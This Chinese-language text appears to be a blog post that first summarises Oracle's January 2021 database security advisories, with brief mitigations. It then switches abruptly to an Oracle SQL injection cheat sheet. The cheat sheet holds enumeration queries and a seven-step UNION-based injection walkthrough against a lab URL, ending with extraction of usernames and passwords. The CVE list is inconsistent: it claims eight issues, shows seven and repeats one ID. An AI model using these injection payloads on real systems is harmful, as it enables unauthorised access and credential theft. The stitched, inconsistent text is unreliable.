Oracle 公司 于 2021 年 1 月 19 日,发布了第一个年度安全预警。其中,有 8 个安全警告和 Oracle 数据库部分有关。目前,可以通过最新的 CPU 补丁,可以修复这个安全漏洞。
以下是这 8 个安全漏洞:
1.CVE-2021-2018
该漏洞无需身份验证即可远程利用,入侵者可以通过网络利用这些漏洞并且不需要用户凭据。给出的安全系数风险评分是 8.3 分。不过,此攻击复杂度较高,也只影响 Windows 平台
2.CVE-2021-2035
被通过数据库的Scheduler 定时组件进行攻击,需要 Export Full Database 权限,如果对这个权限有管控权,则可以降低风险。风险评分高达 8.8 分。修复的方法是:梳理数据库的权限,或者应用补丁修复。
3.CVE-2021-2054
该漏洞和 Sharding 组件有关,大部分个人用户可能用不到,同时,不用分布式组件的用户也可以忽略
4.CVE-2021-2116 和 CVE-2021-2116
该漏洞和 Oracle Apex 有关,可以通过 HTTP 协议进行攻击。防范方式:做好账户管理,则风险不大
5.CVE-2021-1993
该漏洞和 Java JVM 有关,也是之前一系列反序列化的漏洞延续,可以通过 Package 的权限限制防范,或者补丁修复
6.CVE-2021-2045
该漏洞和 Text 组件相关,大部分用户应该没有这个选项。同时建议,数据库安装时,对于用不到的组件,不要选择安装。
7.CVE-2021-2000
该漏洞是 Unified Audit 统一审计管理特性相关的漏洞,对于权限要求极高,所以风险最低,安全分是 2.4 分。
SELECT USERNAME from ALL_USERS; --查看所有用户
select TABLESPACE_NAME FROM USER_TABLESPACES; --查看所有的表空间
select TABLE_NAME from USER_TABLES WHERE ROWNUM=1; --查看当前用户的所有表
select column_name from user_tab_columns where table_name='DEMO'; --查看当前用户的所有的列,如查询DEMO表下的所有列
SELECT object_name from user_objects; --查看当前用户的所有对象(表名称,约束、索引)
SELECT * from session_roles; --当前用户的权限
SELECT * from v$version WHERE rownum=1; --获取数据库版本
select * from product_component_version; --同上
SELECT member from v$logfile WHERE rownum=1; --服务器操作系统
select instance_name from v$instance;--服务器SID
SELECT sys_context('userenv','current_user') from dual; --当前连接用户
SELECT user FROM dual; --当前用户
SELECT username FROM all_users ORDER BY username; --列出所有用户
SELECT DISTINCT owner FROM all_tables; --列出数据库
SELECT table_name FROM all_tables; --列出表名
SELECT owner, table_name FROM all_tables; --列出表名
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN'; --查询表所有列
SELECT name FROM V$DATAFILE; --定位文件
(1) 判断注入点
http://192.168.91.142:8080/index.jsp?id=1 and 1=1
(2) 判断列数
http://192.168.91.142:8080/index.jsp?id=1 order by 1
(3) 判断显错点
http://192.168.91.142:8080/index.jsp?id=1 union select null,null,null from dual
(4) 获取当前数据库
http://192.168.91.142:8080/index.jsp?id=1 union select null,null,SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual
(5) 获取数据库中的表
http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,null,table_name from user_tables
(6) 获取表中的列
http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,null,column_name from user_tab_columns
(7) 获取列中的数据
http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,"username","password" from "user"